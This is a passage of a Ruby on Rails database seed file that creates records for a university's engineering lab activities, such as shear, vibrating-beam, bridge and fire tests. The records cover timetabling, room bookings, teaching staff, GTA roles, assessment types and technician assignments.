a66.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a67 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV150\").first.id, code: \"220\").first_or_create!(name: \"Direct Shear Test\",\n name_abrv: \"SHEREBOX\", archived: false, in_drive: false, user_id: 2)\n at67 = ActivityTimetable.where(activity_id: a67.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at67.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a67.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/iRpLZu\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a67.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a67.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a67.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a67.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a68 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6276\").first.id, code: \"221\").first_or_create!(name: \"Stability\",\n name_abrv: \"STABILITY\", archived: false, in_drive: false, user_id: 1)\n at68 = ActivityTimetable.where(activity_id: a68.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a68.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/XN4C9z\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a68.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a68.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a68.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a68.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a69 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR222\").first.id, code: \"222\").first_or_create!(name: \"Vibrating Beams\",\n name_abrv: \"VIBBEAM\", archived: false, in_drive: false, user_id: 3)\n at69 = ActivityTimetable.where(activity_id: a69.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n RoomBooking.where(activity_timetable_id: at69.id, room_id: $room_sd.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a69.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a69.id).first_or_create!(criteria: \"The ideal candidate should have a strong background in basic dynamics.\",\n job_desc:\"Dynamics Lab investiagating SDOF system under free and forced oscillation. The effect of an external damper is also studied.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a69.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a69.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a69.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a70 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR223\").first.id, code: \"222\").first_or_create!(name: \"Vibrating Beams\",\n name_abrv: \"VIBBEAM\", archived: false, in_drive: false, user_id: 5)\n at70 = ActivityTimetable.where(activity_id: a70.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n RoomBooking.where(activity_timetable_id: at70.id, room_id: $room_sd.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a70.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a70.id).first_or_create!(criteria: \"The ideal candidate should have a strong background in basic dynamics.\",\n job_desc:\"Dynamics Lab investiagating SDOF system under free and forced oscillation. The effect of an external damper is also studied.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a70.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a70.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a70.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a71 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR305\").first.id, code: \"222\").first_or_create!(name: \"Vibrating Beam\",\n name_abrv: \"VIBBEAM\", archived: true, in_drive: false, user_id: 5)\n at71 = ActivityTimetable.where(activity_id: a71.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n RoomBooking.where(activity_timetable_id: at71.id, room_id: $room_sd.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a71.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/nTh2oR\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a71.id).first_or_create!(criteria: \"The ideal candidate should have a strong background in basic dynamics.\",\n job_desc:\"Dynamics Lab investiagating SDOF system under free and forced oscillation. The effect of an external damper is also studied.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a71.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a71.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a71.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a72 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV4181\").first.id, code: \"222\").first_or_create!(name: \"Vibrating Beams\",\n name_abrv: \"VIBBEAMS\", archived: false, in_drive: true, user_id: 2)\n at72 = ActivityTimetable.where(activity_id: a72.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at72.id, room_id: $room_sd.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a72.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a72.id).first_or_create!(criteria: \"The ideal candidate should have a strong background in basic dynamics.\",\n job_desc:\"Dynamics Lab investiagating SDOF system under free and forced oscillation. The effect of an external damper is also studied.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a72.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a72.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a72.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a73 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6181\").first.id, code: \"222\").first_or_create!(name: \"Vibrating Beams\",\n name_abrv: \"VIBBEAMS\", archived: false, in_drive: true, user_id: 4)\n at73 = ActivityTimetable.where(activity_id: a73.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at73.id, room_id: $room_sd.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a73.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a73.id).first_or_create!(criteria: \"The ideal candidate should have a strong background in basic dynamics.\",\n job_desc:\"Dynamics Lab investiagating SDOF system under free and forced oscillation. The effect of an external damper is also studied.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a73.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a73.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a73.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a74 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1200\").first.id, code: \"223\").first_or_create!(name: \"Paper Column\",\n name_abrv: \"PAPER\", archived: false, in_drive: true, user_id: 3)\n at74 = ActivityTimetable.where(activity_id: a74.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 3, max_week_num: 4, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"Needs Shimadzu\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at74.id, room_id: $room_ml.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a74.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a74.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a74.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a74.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a74.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a75 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1200\").first.id, code: \"224\").first_or_create!(name: \"PASCO Bridge\",\n name_abrv: \"PASCO\", archived: false, in_drive: true, user_id: 2)\n at75 = ActivityTimetable.where(activity_id: a75.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 4, max_week_num: 5, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"After Paper Column\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a75.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a75.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a75.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a75.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a75.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a76 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1200\").first.id, code: \"225\").first_or_create!(name: \"Bridge Design\",\n name_abrv: \"BRIDGE DSG\", archived: false, in_drive: false, user_id: 3)\n at76 = ActivityTimetable.where(activity_id: a76.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"After PASCO bridge\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a76.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a76.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a76.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a76.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a76.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a77 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1200\").first.id, code: \"226\").first_or_create!(name: \"Bridge Test\",\n name_abrv: \"BRIDGE TST\", archived: false, in_drive: false, user_id: 3)\n at77 = ActivityTimetable.where(activity_id: a77.id).first_or_create!(duration: 45, kit_prep_time: nil, min_week_num: 9, max_week_num: 10, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 480, takedown_time: 480, notes: \"After Bridge Building\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a77.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a77.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a77.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a77.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a77.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a78 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV4254\").first.id, code: \"227\").first_or_create!(name: \"Fire Test\",\n name_abrv: \"FIRE\", archived: false, in_drive: false, user_id: 1)\n at78 = ActivityTimetable.where(activity_id: a78.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Experiment taking place outside (stores courtyard)\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a78.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a78.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a78.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a78.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a78.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a79 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6254\").first.id, code: \"227\").first_or_create!(name: \"Fire Test\",\n name_abrv: \"FIRE\", archived: false, in_drive: true, user_id: 1)\n at79 = ActivityTimetable.where(activity_id: a79.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Experiment taking place outside (stores courtyard)\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a79.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a79.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a79.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a79.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a79.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a80 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR303\").first.id, code: \"228\").first_or_create!(name: \"Welded Coupons\",\n name_abrv: \"COUP\", archived: false, in_drive: false, user_id: 3)\n at80 = ActivityTimetable.where(activity_id: a80.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a80.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a80.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a80.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a80.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a80.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a81 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER104\").first.id, code: \"229\").first_or_create!(name: \"Moving Hinge\",\n name_abrv: \"Moving Hinge\", archived: false, in_drive: true, user_id: 5)\n at81 = ActivityTimetable.where(activity_id: a81.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a81.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a81.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a81.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a81.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a81.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a82 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR303\").first.id, code: \"230\").first_or_create!(name: \"Welded Components\",\n name_abrv: \"COMP\", archived: false, in_drive: true, user_id: 5)\n at82 = ActivityTimetable.where(activity_id: a82.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a82.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a82.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a82.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a82.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a82.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a83 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2100\").first.id, code: \"231\").first_or_create!(name: \"Cantilever Truss - Modelling\",\n name_abrv: \"\", archived: false, in_drive: true, user_id: 4)\n at83 = ActivityTimetable.where(activity_id: a83.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 8, max_week_num: 9, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at83.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a83.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a83.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a83.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a83.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a83.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a84 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2100\").first.id, code: \"232\").first_or_create!(name: \"Continuous Beam - Modelling\",\n name_abrv: \"\", archived: false, in_drive: true, user_id: 3)\n at84 = ActivityTimetable.where(activity_id: a84.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 9, max_week_num: 10, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"Needs GUNT equipment\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at84.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a84.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a84.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a84.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a84.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a84.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a85 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV4136\").first.id, code: \"233\").first_or_create!(name: \"Hole in Plate - Modelling\",\n name_abrv: \"\", archived: false, in_drive: true, user_id: 3)\n at85 = ActivityTimetable.where(activity_id: a85.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: 11, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Needs Shimadzu\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at85.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a85.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a85.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a85.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a85.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a85.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a86 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6136\").first.id, code: \"233\").first_or_create!(name: \"Hole in Plate - Modelling\",\n name_abrv: \"\", archived: false, in_drive: true, user_id: 4)\n at86 = ActivityTimetable.where(activity_id: a86.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: 11, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Needs Shimadzu\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at86.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a86.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a86.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a86.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a86.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a86.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a87 = Activity.where(theme_id: $acme.id, 